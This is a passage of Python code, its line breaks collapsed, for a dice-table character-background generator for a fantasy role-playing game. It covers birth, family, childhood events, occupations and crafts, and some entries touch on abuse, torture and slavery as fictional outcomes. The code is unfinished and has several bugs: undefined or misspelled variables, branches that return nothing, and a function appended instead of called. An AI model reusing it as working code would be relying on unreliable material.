birthTimeOfDay = 'early morning' elif rand == 4: birthTimeOfDay = 'sunrise' elif rand == 5: birthTimeOfDay = 'mid-day' elif rand == 6: birthTimeOfDay = 'afternoon' elif rand == 7: birthTimeOfDay = 'sunset' elif rand == 8: birthTimeOfDay = 'early evening' return birthSeason, birthTimeOfDay def placeOfBirthTable110(): rand = randint(1,20) if rand <= 6: return 'in the family home', -5 elif rand <= 9: return "in a hospital or healer's hall", -7 elif rand <= 10: return 'in a carriage while traveling', 1 elif rand <= 11: return 'in a common barn', 1 elif rand <= 13: return 'in a foreign land', 2 elif rand <= 14: return 'in a cave', 5 elif rand <= 15: return 'in the middle of a field', 1 elif rand <= 16: return 'in a forest', 2 elif rand <= 24: return exoticBirthLocationTable111() def exoticBirthLocationTable111(): rand = randint(1,19) #yep, it's another one of these, I took out roll 14 due to GM-only, will consider adding back in later if rand <= 2: return 'double roll thing, will keep noted here for now', 5 elif rand == 3: return 'in a temple of ' + deitiesTable864(), 5 elif rand == 4: rand = randint(1,6) if rand == 6: return 'in the middle of a battlefield', 8 else: return 'at a battlefield camp', 8 elif rand == 5: return 'in an alley', 5 elif rand == 6: return 'in a brothel', 2 elif rand == 7: return 'in home of a local ruler', 2 elif rand == 8: return 'home of the ruler of the country', 5 elif rand == 9: return 'palace of an evil person or creature', 15 elif rand == 10: return 'in a tavern', 2 elif rand == 11: return 'in the sewers', 10 elif rand == 12: return 'in a thieves den', 5 elif rand == 13: return 'in the home of friendly nonhumans', 2 elif rand == 14: #I know I'll be looking at this later and confused, but 14 is the one I pruned because it's set as GM ONLY return 'in the temple of an evil diety', 20 elif rand == 15: return 'on another plane of reality', 15 elif rand == 16: return 'in another time period', 10 elif rand == 17: return 'on a ship at sea', 2 elif rand == 18: return 'in a prison cell', 9 elif rand == 19: return "in a wizard's laboratory", 20 def unusualBirthTable112(biMod): #this has been cleaned up, removing the GM selecting portions rand = randint(1,100) + biMod if rand <= 60: return 'Nothing interesting', False elif rand <= 76: birthOccurance = [None]*1 birthOccurance[0] = unusualBirthCircumstancesTable113() elif rand <= 92: birthOccurance = [None]*2 birthOccurance[0] = unusualBirthCircumstancesTable113() birthOccurance[1] = unusualBirthCircumstancesTable113() elif rand <= 97: birthOccurance = [None]*3 birthOccurance[0] = unusualBirthCircumstancesTable113() birthOccurance[1] = unusualBirthCircumstancesTable113() birthOccurance[2] = unusualBirthCircumstancesTable113() else: birthOccurance = [None]*4 birthOccurance[0] = unusualBirthCircumstancesTable113() birthOccurance[1] = unusualBirthCircumstancesTable113() birthOccurance[2] = unusualBirthCircumstancesTable113() birthOccurance[3] = unusualBirthCircumstancesTable113() return birthOccurance, True def unusualBirthCircumstancesTable113(): rand = randint(1,100) if rand <= 5: return "a person of note near the character's home died when they were born" elif rand <= 10: return 'wolves and dogs set up a howling' elif rand <= 20: return 'mother died in childbirth' elif rand <= 23: return 'all glassware in the house shattered' elif rand <= 25: return 'all milk in the area soured' elif rand <= 27: return 'father believes the character is not his child' elif rand <= 31: rand = randint(1,5) return 'character has identical twin' + ((" that was separated at birth", "")[rand == 5]) elif rand <= 34: return 'water froze or boiled by itself' elif rand <= 37: return 'unnatural weather occurred' elif rand <= 38: return 'unnaturally potent storms raged' elif rand <= 41: return 'character born at exactly noon' elif rand <= 44: return 'character born at exactly midnight' elif rand <= 48: return 'a seer declares that the character will be afflicted by an ancient family curse, ' #table 868 be here elif rand <= 50: randint(1,10) return 'a goose laid a golden egg' + ((", which the character still has with them", "")[rand >6]) elif rand <= 53: return 'the sky darkened like an eclipse' elif rand <= 55: return 'the house became infested with poisonous snakes the next day' elif rand <= 56: return 'all gold in the house turned to lead' elif rand <= 57: return 'all metal in the house was turned into precious metals' elif rand <= 62: return 'as an infant, character was left to die on hillside by natural parents' elif rand <= 64: return 'character is born immediately after a tragedy, ' #table 528-a-gogo elif rand <= 69: return 'character is born with a birthmark' # here be table 866 elif rand <= 75: return 'character is born with a curse' #868 here elif rand <= 81: return 'born with a blessing' #869 elif rand <= 85: rand = randint(1,2) return 'character has a fraternal twin, ' + (("male", "female")[rand == 1]) elif rand <= 86: return 'character is one of a set of identical triplets' elif rand <= 88: return 'witch prophesies death of the character' #here be 545 elif rand <= 93: return 'character born with physical affliction' #874 go hurr elif rand <= 94: return 'character born with psychic powers' #873 elif rand <= 99: return 'a mysterious stranger bestows a gift on the character at birth: ' + giftsTable863() else: return 'mother was reputed to be a virgin' def parentTable114a(charCulture, solMod): rand = randint(1,20) if rand <= 12: return 'Head of household is a ' + occupationsTable420(charCulture, solMod) elif rand <= 14: return 'Head of household has two jobs: ' + occupationsTable420(charCulture, solMod) elif rand <= 16: return 'Head of household does not work, the other parent does. They work as a ' + occupationsTable420(charCulture, solMod) elif rand <= 18: return 'Both parents work. Head of household is a ' + occupationsTable420(charCulture, solMod) + 'and other parent is a ' + occupationsTable420(charCulture, solMod) elif rand <= 19: return 'Head of household was an adventurer, ' #table 757 elif rand <= 20: return 'Head of household does not have an apparent occupation, but money is available when needed.' def parentTable114b(): rand = randint(1,3) noteworthyItems = [] for _ in range(rand): noteworthyItems.append(parentTable114bA) def parentTable114bA(): rand = randint(1,20) if rand == 1: rand = randint(1,6) if rand <= 3: return 'noted for a personality trait, ' #647 elif rand <= 5: return 'noted for a personality trait, ' #648 else: return 'noted for an exotic personality trait, ' #649 elif rand == 2: return 'had an unusual birth circumstance, ' + unusualBirthCircumstancesTable113() elif rand == 3: return 'devotes time to a hobby, ' #427 elif rand == 4: return 'possesses an unusual item, ' + random_choice(giftsTable863) elif rand == 5: return 'is inventive, creative, and artistic' elif rand == 6: return 'affected by an exotic event which they speak of often, ' #544 elif rand == 7: return 'tells tales of a legendary lost treasure' elif rand == 8: rand = randint(1,6) if rand == 1: return 'obsessed with a relationship with someone ' # 750 elif rand == 2: return 'obsessed with an event from their past, ' #215 elif rand == 3: return 'obsessed with working out of a personality trait, ' #fuck it, need to split here elif rand == 4: return 'obsessed with the accomplishment of a motivation, ' #page 8? elif rand == 5: return 'obsessed with accomplishing a future event, ' #217 elif rand == 6: return 'obsessed with preventing a future event, ' #217 elif rand == 9: return 'has a secret identity as a ' #occupation when I get to it elif rand == 10: return 'has a patron, ' #543 elif rand == 11: return 'is a military veteran, ' + militaryTable535a() elif rand == 12: return 'is very religious, worships ' + deitiesTable864() elif rand == 13: rand = randint(1,4) if rand == 1: return 'does not like to talk about an important event in their past, ' #217 elif rand == 2: return "does not like to talk about how they're persecuted for " #217 elif rand == 3: return 'does not like to talk about their past and how important they are to their home town' elif rand == 4: return 'refuses to speak about a past event' elif rand == 14: rand = randint(1,4) if rand == 1: return 'particularly loving towards family' elif rand == 2: return 'does not love family or children' elif rand == 3: return 'is unfaithful to spouse' elif rand == 4: return 'has married more than once, current spouse is number ' + str(randint(1,4)) elif rand == 15: return 'originally from a different culture' elif rand == 16: return 'originally from a different social status' elif rand == 17: return 'from a foreign land' elif rand == 18: rand = randint(1,5) # it's another re-roll if rand == 1: return 'has a rival ' #762 elif rand == 2: return 'has many enemies ' #roll on 762 a lot elif rand == 3: return 'has ' + str(randint(3,13)) + ' close friends living nearby' elif rand == 4: return 'has ' + str(randint(2,7)) + ' jilted ex-lovers' elif rand == 5: return 'had a companion, ' + companionTable761() #elif rand == 6: elif rand == 19: return 'was horribly wounded, ' #870 elif rand == 20: return 'noted for extremely unusual personality: ' #649 def childhoodEventsTable215a(solMod): rand = randint(1,3) childhoodEvents = [] adolescentEvents = [] for _ in range(rand): childhoodEvents.append(childhoodEventsTable215b(solMod)) rand = randint(1,3) for _ in range(rand): adolescentEvents.append(childhoodEventsTable215b(solMod)) return childhoodEvents, adolescentEvents def childhoodEventsTable215b(solMod): rand = randint(1,17) + solMod if rand == -2: significantEvent = "all public assistance is terminated due to war. The character's family is involved in the riots in the poorer sectors of towns and villages" elif rand == -1: significantEvent = 'while foraging in a trash heap, the character finds ' + giftsTable863() elif rand == 0: significantEvent = childhoodEventsTable215b(0) elif rand == 1: significantEvent = 'friends involve the character in illegal activities, ' #534 elif rand == 2: significantEvent = 'a tragedy occurs, ' #528 elif rand == 3: significantEvent = 'The character learns an unusual skill, ' #876 elif rand == 4: significantEvent = 'something wonderful occurs: ' #529 elif rand == 5: significantEvent = "The character learns to be adept at the head of household's occupation. If there is no head of household, then select randomly." elif rand == 6: rand = randint(1,9) significantEvent = 'the character runs away, ' if rand == 1: significantEvent += 'and never returns' elif rand == 2: significantEvent += 'and returns after ' + str(randint(1,8)) + ' days' elif rand == 3: significantEvent += 'and returns after ' + str(randint(1,12)) + ' months' elif rand == 4: significantEvent += 'and returns after ' + str(randint(1,6)) + ' years' elif rand == 5: significantEvent += 'to a distant land' elif rand == 6: significantEvent += 'and joins the circus' elif rand == 7: significantEvent += 'and falls into the hands of criminals, ' #534 elif rand == 8: significantEvent += 'and wanders the land, avoiding authorities' elif rand == 9: significantEvent += 'and lives with ' + random_choice(nonhumansTable751) elif rand == 7: significantEvent = 'character has a religious experience, ' #541 elif rand == 8: rand = randint(1,6) if rand == 1: significantEvent = 'character is loved by parents' elif rand == 2: significantEvent = 'character is unloved' elif rand == 3: significantEvent = "family has great plans for the character's future" elif rand == 4: significantEvent = "family does not approve of character's friends" elif rand == 5: significantEvent = "family encourages character's interests" elif rand == 6: rand = randint(1,2) significantEvent = (("mother", "father")[rand == 1]) + ' is distant towards the character' elif rand == 9: significantEvent = 'character serves a patron, ' #543 elif rand <= 11: significantEvent = 'age-specific event' elif rand == 12: significantEvent = 'character gains a friend, ' #750 elif rand == 13: #skipped the real 13 and 14 for the time being significantEvent = 'an exotic event occurs, ' #544 elif rand == 14: rand = randint(1,2) significantEvent = "character's parents split up, character stays with " + (("mother", "father")[rand == 1]) elif rand == 15: rand = randint(1,4) if rand == 1: significantEvent = 'character is molested by ' #750 elif rand == 2: significantEvent = 'a tragedy occurs, ' #528 elif rand == 3: significantEvent = 'character angers an old woman who puts a curse on them, ' #868 elif rand == 4: significantEvent = 'character acquires a rival, ' #762 elif rand == 16: rand = randint(1,4) if rand == 1: significantEvent = 'character inherits a large sum of money' elif rand == 2: significantEvent = 'a fairy blesses the character as a reward for a good deed, ' #869 elif rand == 3: significantEvent = 'something wonderful occurs, ' #529 elif rand == 4: significantEvent = 'character acquires a companion, ' #761 elif rand == 17: significantEvent = 'age-specific event occurs, ' #216a/216b elif rand == 18: significantEvent = 'character develops jaded tastes for exotic and expensive pleasures' elif rand == 19: significantEvent = childhoodEventsTable215b(0) elif rand == 20: significantEvent = "rivals force the character's family to move somewhere new" elif rand == 21: significantEvent = 'something wonderful occurs, ' #529 elif rand == 22: significantEvent = 'a tragedy occurs, ' #528 elif rand == 23: significantEvent = 'character is betrothed in a political marriage' elif rand == 24: significantEvent = 'head of household is made a close advisor of a local ruler' elif rand == 25: #also skipped 25 significantEvent = 'family travels widely, visiting several foreign lands' elif rand == 26: significantEvent = 'a tutor teaches the character an unusual skill, ' #876 elif rand == 27: significantEvent = 'family throws extravagant birthday party for character. Character acquires special gift, ' + giftsTable863() elif rand == 28: significantEvent = 'character exhibits exotic personality, ' #649 elif rand == 29: significantEvent = 'family gives character ' + str(randint(1,10)) + ' slaves to do with as they see fit' elif rand == 30: significantEvent = 'family gives character personal estate with ' + str(randint(1,10)) + ' square miles of property' return significantEvent def childhoodEventsTable216a(): rand = randint(1,20) if rand == 1: return 'a neighbor schools the character, improving their literacy' elif rand == 2: return 'character becomes emotionally attached to a toy for ' + str(randint(2,20)) + ' years' elif rand == 3: return 'character has a collection of related things, such as rocks, dolls, animal skulls, etc.' elif rand == 4: return 'character has a close friendship with a sibling or cousin' elif rand == 5: return 'character has an imaginary friend' elif rand == 6: return 'character is a child prodigy with an unusual skill, ' #876 elif rand == 7: return 'character learns use of a weapon appropriate to their culture and social status' elif rand == 8: return 'character and a friend discover secret hiding place near home' elif rand == 9: return 'character becomes proficient at a sporting event' elif rand == 10: return 'friend of the family, an old warrior, tells the character tales of adventure' elif rand == 11: return 'character becomes well-known for the occurance of an event in their life, ' + childhoodEventTables215(0) elif rand == 12: rand = randint(1,10) return "one of the character's grandparents dies of natural causes in the presence of the character " + (("that grandparent entrusts the character with a secret", "")[rand < 7]) elif rand == 13: return 'character witnesses a crime being committed by ' + str(randint(1,4)) + ' people. They are unable to catch him. The crime is ' #875 elif rand == 14: return 'race specific event, fuck' elif rand == 15: return 'an exotic event occurs, ' #544 elif rand == 16: return 'character discovers they are a near exact twin of a young noble, ' + random_choice(nobleTable758civil) elif rand == 17: return 'a tragedy occurs, ' #528 elif rand == 18: return 'something wonderful occurs, ' #529 elif rand == 19: return childhoodEventsTable216b() elif rand == 20: return 'character acquires a hobby, ' #427 def childhoodEventsTable216b(): rand = randint(1,19) if rand == 1: return 'character learns to use weapon appropriate to their culture and social status' elif rand == 2: return 'to be fashionable, character gets tatto on their face, ' #866 elif rand <= 4: return 'apprenticed to learn an occupation, ' #419 elif rand == 5: return 'a wizard teaches the character a simple spell' elif rand == 6: eventPresuppose = 'character is accused of a crime which they did not commit (' #875 rand = randint(1,6) if rand == 1: return eventPresuppose + ', is imprisoned, ' #540 here elif rand == 2: return eventPresuppose + ', is stockaded and flogged publicly as an example to others' elif rand == 3: rand = randint(1,3) eventPresuppose = eventPresuppose + ', is tortured to reveal the names of accomplices' if rand == 3: eventPresuppose = eventPresuppose #870 elif rand == 4: return eventPresuppose + ', is found innocent, but not before being humiliated' elif rand == 5: return eventPresuppose + ', is sentenced to death, but is rescued by outlaws.' #534 goes here elif rand == 6: return eventPresuppose + ', is sold into slavery: ' + enslavedTable539() elif rand == 7: return 'character learns an unusual skill, ' #876 elif rand == 8: return 'character learns a hobby, ' #427 elif rand == 9: return "character learns head of household's occupation" elif rand == 10: eventPresuppose = 'character joins the military ' + militaryTable535(charCulture, solMod) rand = randint(1,4) if rand == 1: eventPresuppose = eventPresuppose + 'because they were drafted, ' elif rand == 2: eventPresuppose = eventPressuppose + 'because they patriotically volunteered, ' elif rand == 3: eventPresuppose = eventPresuppose + 'because they forced to, ' elif rand == 4: eventPresuppose = eventPresuppose + 'on mistake, ' eventPresuppose = eventPresuppose + 'Info: ' elif rand == 11: rand = randint(1,5) if rand == 5: return 'character participated in a successful rebellion' else: rand = randint(1,10) if rand != 10: return 'character participated in a failed rebellion, but only a few close friends knew of it' else: return 'character was known to participate in a failed rebellion and is now an outlaw' elif rand == 12: return 'character becomes famous for ' + childhoodEventTables215b() elif rand <= 14: return 'character has a romantic encounter, ' #542 elif rand == 15: return 'character learns to speak another language' elif rand == 16: return 'race specific event. fuck.' elif rand == 17: return 'an exotic event occurs, ' #544 elif rand == 18: return 'a tragedy occurs, ' #528 elif rand == 19: return 'something wonderful occurs, ' #529 # elif rand == 20: def adulthoodSignificantEventsTable217(charSocial, solMod, charCulture): rand = randint(1,3) adulthoodEvents = [] for _ in range(rand): adulthoodEvents.append(adulthoodSignificantEventsTable217a(charSocial, solMod, charCulture)) return adulthoodEvents def adulthoodSignificantEventsTable217a(charSocial, solMod, charCulture): rand = randint(2,39) + solMod if rand == -1: return 'while foraging or hunting for food, the character saves a trapped predatory beast. Later, the same beast saves the character.' elif rand == 0: return 'to earn a living, the character learns a new occupation: ' + occupationsTable420(charsocial, solMod) elif rand <= 2: return 'something wonderful occurs, ' #529 elif rand <= 4: return 'a tragedy occurs, ' #528 elif rand == 5: return 'character learns an unusual skill, ' #876 elif rand == 6: rand = randint(1,5) if rand == 5: return 'character participated in a successful rebellion' else: rand = randint(1,10) if rand != 10: return 'character participated in a failed rebellion, but only a few close friends knew of it' else: return 'character was known to participate in a failed rebellion and is now an outlaw' elif rand == 7: return 'Character serves a patron, ' #543 elif rand == 8: eventPresuppose = 'Character has wanderlust and decides to travel for ' + str(randint(1,6)) + ' years. During this time, the character ' rand = randint(1,6) if rand == 1: eventPresuppose = eventPresuppose + 'visits major cities and towns in the land.' elif rand == 2: eventPresuppose = eventPresuppose + 'signs on as a seaman on a ship.' elif rand == 3: eventPresuppose = eventPresuppose + 'journeys through mountains.' elif rand == 4: eventPresuppose = eventPresuppose + 'investigates nearby dark woods.' elif rand == 5: eventPresuppose = eventPresuppose + 'travels to a distant land, learning a foreign language.' elif rand == 6: eventPresuppose = eventPresuppose + 'lives with nonhumans, ' + random_choice(nonhumansTable751) return eventPresuppose elif rand <= 10: return 'character has a religious experience, ' #541 elif rand == 11: return "character saves someone's life, and that person becomes the character's companion: " #761 elif rand <= 13: return 'race-specific event. fuck.' elif rand == 14: #skipping 14 return 'an exotic event occurs, ' #544 elif rand == 15: return 'character learns to use a weapon appropriate to their culture and social status' elif rand == 16: rand = randint(1,3) if rand == 1: return 'a tragedy occurs, ' #528 elif rand == 2: return 'the character angers an old woman, who curses them, ' #868 elif rand == 3: return 'character acquires a rival, ' #762 elif rand == 17: rand = randint(1,3) if rand == 1: return 'an old man whom the character rescues blsses the character, ' #869 elif rand == 2: return 'something wonderful occurs, ' #529 elif rand == 3: return 'character acquires a companion, ' #761 elif rand == 18: return 'character becomes well-known for ' + adulthoodSignificantEventsTable217a(charSocial, solMod, charCulture) elif rand == 19: return 'character develops an exotic personality trait, ' #649 elif rand == 20: return 'character inherits property from a relative' #863 sub-table??? elif rand <= 22: #22 regular was skipped, so this should be 23-24 return 'character becomes involved in illegal activities, ' #534a elif rand == 23: return 'character learns to use an unusual weapon' elif rand <= 26: eventPresuppose = 'character joins the military because ' rand = randint(1,4) if rand == 1: eventPresuppose = eventPresuppose + 'they were drafted, ' elif rand == 2: eventPresuppose = eventPresuppose + 'they patriotically volunteered, ' elif rand == 3: eventPresuppose = eventPresuppose + 'forced to, ' elif rand == 4: eventPresuppose = eventPresuppose + 'on mistake, ' return eventPresuppose + 'Info: ' + militaryTable535(charCulture, solMod) elif rand <= 30: return 'character has a romantic encounter, ' #542 elif rand == 31: return 'character acquires a hobby, ' #427 elif rand == 32: return 'character develops jaded tastes for exotic and expensive pleasures' elif rand <= 34: eventPresuppose = 'character is accused of a crime which they did not commit (' #875 rand = randint(1,6) if rand == 1: return eventPresuppose + ', is imprisoned, ' #540 here elif rand == 2: return eventPresuppose + ', is stockaded and flogged publicly as an example to others' elif rand == 3: rand = randint(1,3) eventPresuppose = eventPresuppose + ', is tortured to reveal the names of accomplices' if rand == 3: eventPresuppose = eventPresuppose #870 elif rand == 4: return eventPresuppose + ', is found innocent, but not before being humiliated' elif rand == 5: return eventPresuppose + ', is sentenced to death, but is rescued by outlaws.' #534 goes here elif rand == 6: return eventPresuppose + ', is sold into slavery: ' + enslavedTable539() + ')' return eventPresuppose elif rand <= 36: #skipping 37-38, as well as 39 return 'character learns an occupation, ' + occupationsTable420(charSocial, solMod) elif rand <= 39: return adulthoodSignificantEventsTable217a(charSocial, solMod+5, charCulture) elif rand == 40: return 'character is made close advisor to a local ruler' elif rand <= 43: return 'character develops an exotic personality trait, ' #649 elif rand <= 45: return "family sends character a personal servant who refuses to leave the character's service. The servant becomes a companion: " #761 elif rand <= 48: return 'a ruler with slightly lower social status than the character proposes marriage. The marriage is obviously political in nature.' elif rand <= 55: return 'a radical change in political structure strips the character of all land and nobility.' def apprenticeshipsTable419a(): rand = randint(1,3) if rand == 1: return random_choice(craftsTable424a) elif rand == 2: return random_choice(craftsTable424b) elif rand == 3: return random_choice(craftsTable424c) def apprenticeshipsTable419b(): rand = randint(1,9) #again, not doing the re-roll shit if rand == 1: return "character's master is known for their strong personality" elif rand == 2: return "character manages to accidentally break the master's valuable collection of ceramic pots. For this, he's expelled." elif rand == 3: return "Character stumbles upon a lost secret of the craft, which his master takes credit for." elif rand == 4: return "Character continues to study the craft with his master for an extra " + str(randint(1,6)) + " years." elif rand == 5: return "The character discovered that the master's shop is a front for a criminal network." elif rand == 6: return "The master is world-renowned in their craft." elif rand == 7: rand = randint(1,2) return "A " + (("female", "male")[rand == 1]) + " apprentice becomes best friends with the character. That person would later become a master of the craft." elif rand == 8: return "An exotic event occurs, affecting the character's master: " #544 elif rand == 9: return "Character accompanies their master on a long journey: " + adulthoodSignificantEventsTable217a(randint(1,5)) def occupationsTable420(charCulture, solMod=0): if charCulture == "Primitive": return primitiveOccupationsTable420a() elif charCulture == "Nomad": return nomadOccupationsTable421a() elif charCulture == "Barbarian": return barbarianOccupationsTable422a() else: return civilizedOccupationsTable423a(solMod) def primitiveOccupationsTable420a(): rand = randint(1,20) if rand <= 9: return 'fisherman' elif rand <= 18: return 'hunter' elif rand <= 19: return 'warrior' elif rand == 20: return primitiveOccupationsTable420b() def primitiveOccupationsTable420b(): rand = randint(1,4) if rand == 1: return 'shaman' elif rand == 2: return 'basket weaver' elif rand == 3: return 'artist' elif rand == 4: return 'toolmaker' def nomadOccupationsTable421a(): rand = randint(1,20) if rand <= 2: return random_choice(craftsTable424a) elif rand <= 12: return 'herder' elif rand <= 16: return 'hunter' elif rand <= 18: return 'warrior' elif rand == 19: return 'merchant' elif rand == 20: return nomadOccupationsTable421b() def nomadOccupationsTable421b(): rand = randint(1,10) if rand == 1: return 'priest' elif rand == 2: return 'healer' elif rand == 3: return 'adventurer, ' #757 elif rand == 4: return 'career criminal, ' #755 elif rand == 5: return 'tentmaker' elif rand == 6: return 'weapon master' elif rand == 7: return 'counselor/philosopher' elif rand == 8: return '423a' elif rand == 9: return 'horsemaster' elif rand == 10: return 'entertainer' def barbarianOccupationsTable422a(): rand = randint(1,20) if rand <= 2: return random_choice(craftsTable424a) elif rand <= 8: return 'farmer' elif rand <= 11: return 'fisherman' elif rand <= 13: return 'herder' elif rand <= 15: return 'hunter' elif rand <= 17: return 'warrior' elif rand == 18: return random_choice(craftsTable424b) elif rand == 19: return merchantsTable425(0) elif rand == 20: return barbarianOccupationsTable422b() def barbarianOccupationsTable422b(): rand = randint(1,20) if rand <= 7: return civilizedOccupationsTable423a() elif rand <= 9: return 'priest' elif rand == 10: return 'healer' elif rand == 11: return 'adventurer, ' #757 elif rand == 12: return 'ship builder' elif rand == 13: return 'career criminal, ' #755 elif rand == 14: return 'wizard, witch, or warlock' elif rand == 15: return 'counselor' elif rand == 16: return 'horsemaster' elif rand == 17: return 'explorer' elif rand == 18: return 'entertainer' elif rand == 19: return 'forester' elif rand == 20: return random_choice(craftsTable424c) def civilizedOccupationsTable423a(solMod): rand = randint(1,10) + solMod if rand == -2: return nomadOccupationsTable421a() elif rand <= 5: return civilizedOccupationsTable423b() elif rand == 6: return barbarianOccupationsTable422a() elif rand == 7: return civilizedOccupationsTable423e() elif rand <= 11: return civilizedOccupationsTable423c() elif rand <= 14: return civilizedOccupationsTable423d() elif rand == 15: return civilizedOccupationsTable423e() elif rand <= 23: return civilizedOccupationsTable423d() def civilizedOccupationsTable423b(): rand = randint(1,20) if rand == 1: return 'beggar' elif rand <= 6: rand = randint(1,4) if rand == 1: return 'freeman farmer' elif rand == 2: return 'herder' elif rand == 3: return 'sharecropper' elif rand == 4: return 'serf' elif rand <= 7: return 'tinker' elif rand <= 8: return 'sailor' elif rand <= 10: rand = randint(1,6) if rand == 1: return 'miner' elif rand == 2: return 'stone cutter' elif rand == 3: return 'wood cutter' elif rand == 4: return 'charcoal burner' elif rand == 5: return 'peat cutter' elif rand == 6: return 'unskilled laborer' elif rand <= 11: return 'launderer' elif rand <= 14: return 'fisherman' elif rand <= 15: rand = randint(1,6) if rand == 1: return 'butler' elif rand == 2: return 'cook' elif rand == 3: return 'housekeeper' elif rand == 4: return 'gardener' elif rand == 5: return 'stable hand' elif rand == 6: return 'footman' elif rand <= 16: rand = randint(1,4) if rand == 1: return 'bartender' elif rand == 2: return 'serving person' elif rand == 3: return 'housekeeper' elif rand == 4: return 'bouncer' elif rand <= 17: return 'street vendor' elif rand <= 18: return 'soldier' + militaryTable535(charCulture, solMod) elif rand == 19: return random_choice(craftsTable424a) elif rand == 20: return 'second hand shop' def civilizedOccupationsTable423c(): rand = randint(1,20) if rand == 1: return 'money lender' elif rand <= 5: return 'merchant' elif rand <= 6: return 'business owner, ' + civilizedOccupationsTable423b() elif rand <= 8: return random_choice(craftsTable424b) elif rand <= 9: rand = randint(1,4) if rand == 1: return 'weapon instructor' elif rand == 2: return 'unusual skill instructor, ' #876 elif rand == 3: rand = randint(1,4) if rand == 1: addIt = 'combat skills' elif rand == 2: addIt = 'horse skills' elif rand == 3: addIt = 'forestry skills' elif rand == 4: addIt = 'naval skills' return 'military instrutor in ' + addIt elif rand == 4: rand = randint(1,3) if rand == 1: random_choice(craftsTable424a) elif rand == 2: random_choice(craftsTable424b) elif rand == 3: random_choice(craftsTable424c) elif rand <= 10: return 'government official, ' #752 elif rand <= 11: return random_choice(craftsTable424a) elif rand <= 12: return 'chef' elif rand <= 13: return 'an overseer of ' + civilizedOccupationsTable423a(solMod) elif rand <= 14: return 'innkeeper' elif rand <= 15: return 'scribe' elif rand <= 16: return 'guide/pilot' elif rand <= 17: return 'ship captain (not own ship)' elif rand <= 18: return 'engineer' elif rand <= 19: return 'teacher' elif rand <= 20: return 'tavern owner' def civilizedOccupationsTable423d(): rand = randint(1,20) if rand == 1: return 'alchemist' elif rand == 2: return 'engineer' elif rand == 3: return 'architect' elif rand == 4: return 'chlurgeon' elif rand <= 7: return merchantsTable425(0) elif rand == 8: return 'craftsmen' #424c elif rand == 9: return 'courtier/courtesar' elif rand == 10: return 'diplomat' elif rand == 11: return 'author/playwrite/poet' elif rand == 12: return 'litigation trickster' elif rand == 13: return 'philosopher' elif rand == 14: return 'crafter' #424b elif rand == 15: return 'interpreter' elif rand == 16: return 'government official' #752 elif rand == 17: return 'banker' elif rand == 18: return 'business owner: ' + civilizedOccupationsTable423a() elif rand == 19: return 'landlord' elif rand == 20: return 'craftmaster' #lots of shit here def civilizedOccupationsTable423e(): rand = randint(1,20) if rand == 1: return 'assassin' elif rand == 2: return 'gladiator' elif rand == 3: return 'adventurer, ' #757 elif rand == 4: return 'priest' #541b elif rand == 5: return 'wizard' elif rand == 6: return 'jack of all trades: ' + civilizedOccupationsTable423a() + ' and ' + civilizedOccupationsTable423a() + ' and ' + civilizedOccupationsTable423a() elif rand == 7: return 'career criminal, ' #755 elif rand == 8: return 'entertainer' elif rand == 9: return 'printer' elif rand == 10: return 'private detective or spy' elif rand == 11: return 'professional guild thief, ' #534 elif rand == 12: return 'astrologer/diviner/fortune teller' elif rand == 13: return 'rumormonger' elif rand == 14: rand = randint(1,4) if rand == 1: return 'doomsayer' elif rand == 2: return 'oracle' elif rand == 3: return 'hermit' elif rand == 4: return 'seer' elif rand == 15: return 'charlot or horse racer' elif rand == 16: return 'professional gambler' elif rand == 17: return 'healer/herbalist' elif rand == 18: return 'scientist' elif rand == 19: return 'veterinarian' elif rand == 20: return 'ship builder' craftsTable424a = { 'blacksmith': 1, 'potter': 1, 'weaver': 1, 'stone mason': 1, 'baker': 1, 'butcher': 1, 'carpenter': 1, 'tanner': 1, 'rope and net maker': 1, 'leather worker': 1, 'cobbler': 1, 'painter': 1, 'spinner': 1, 'dyer': 1, 'fletcher': 1, 'sailmaker': 1, 'saddle and riding harness maker': 1 } craftsTable424b = { 'shipwright': 1, 'wheel/cartwright': 1, 'distiller': 1, 'fuller': 1, 'sign painter': 1, 'chandler': 1, 'miller': 1, 'armor smith': 1, 'sausage maker': 1, 'brewer': 1, 'animal trainer': 1, 'plasterer': 1, 'glazier': 1, 'tailor': 1, 'copper and pewter smith': 1, 'glassblower': 1, 'cabinet maker': 1, 'weapon master': 1, 'dress maker': 1, 'sword-dancer': 1 } craftsTable424c = { 'silver smith': 1, 'costumer': 1, 'goldsmith': 1, 'jeweler': 1, 'instrument maker': 1, 'clock maker': 1, 'cartographer': 1, 'perfumer': 1, 'animal trainer': 1, 'apothecary': 1, 'furrier': 1, 'horse breeder': 1, 'artist': 1, 'wine maker': 1, 'oculist': 1, 'pastry chef': 1, 'confectioner': 1, 'paper and ink maker': 1, 'sword smith': 1, 'illuminator': 1 } def merchantsTable425(solMod): rand = randint(1,16) if rand == 0: return 'pawnshop' elif rand == 1: return 'caravan master' elif rand == 2: return 'tavernkeeper' elif rand == 3: return 'trader' elif rand == 4: return 'innkeeper' elif rand == 5: return 'dry goods seller' elif rand == 6: return 'curio merchant' elif rand == 7: return 'snake oil salesman' elif rand == 8: return 'book seller' elif rand == 9: return 'clothing seller' elif rand == 10: return 'weapon shop' elif rand == 11: return 'fishmonger' elif rand == 12: return 'green grocer' elif rand == 13: return 'wine merchant' elif rand == 14: return 'importer' elif rand == 15: return 'furniture dealer' elif rand == 16: return 'slaver' elif rand == 17: return 'carpets & tapestries' elif rand == 18: return 'livestock trader' elif rand == 19: return 'shipping agent' elif rand == 20: return 'silk merchant' elif rand == 21: return 'art dealer' elif rand == 22: return 'gem merchant' elif rand == 23: return 'real estate broker' elif rand == 24: return 'lumber merchant' elif rand == 28: return 'master merchant: ' + merchantsTable425(6) + ', ' + merchantsTable425(6) + ', ' + merchantsTable425(6) def hobbiesTable427(): rand = randint(1,20) if rand == 1: hobby = 'collecting something' elif rand == 2: hobby = 'dancing' elif rand == 3: hobby = 'playing a musical instrument' elif rand == 4: hobby = 'reading for enjoyment' elif rand == 5: hobby = 'writing creatively' elif rand == 6: hobby = 'acting' elif rand == 7: hobby = 'drawing or painting' elif rand == 8: hobby = 'needlework' elif rand == 9: hobby = 'singing' elif rand == 10: rand = randint(1,8) if rand == 1: hobby = 'studying history' elif rand == 2: hobby = 'studying religion' elif rand == 3: hobby = 'studying art' elif rand == 4: hobby = 'studying astronomy' elif rand == 5: hobby = 'studying astrology' elif rand == 6: hobby = 'studying other cultures' elif rand == 7: hobby = 'studying magic' elif rand == 8: hobby = 'studying weapons' elif rand == 11: rand = randint(1,8) if rand == 1: hobby = 'wrestling' elif rand == 2: hobby = 'running' elif rand == 3: hobby = 'fencing' elif rand == 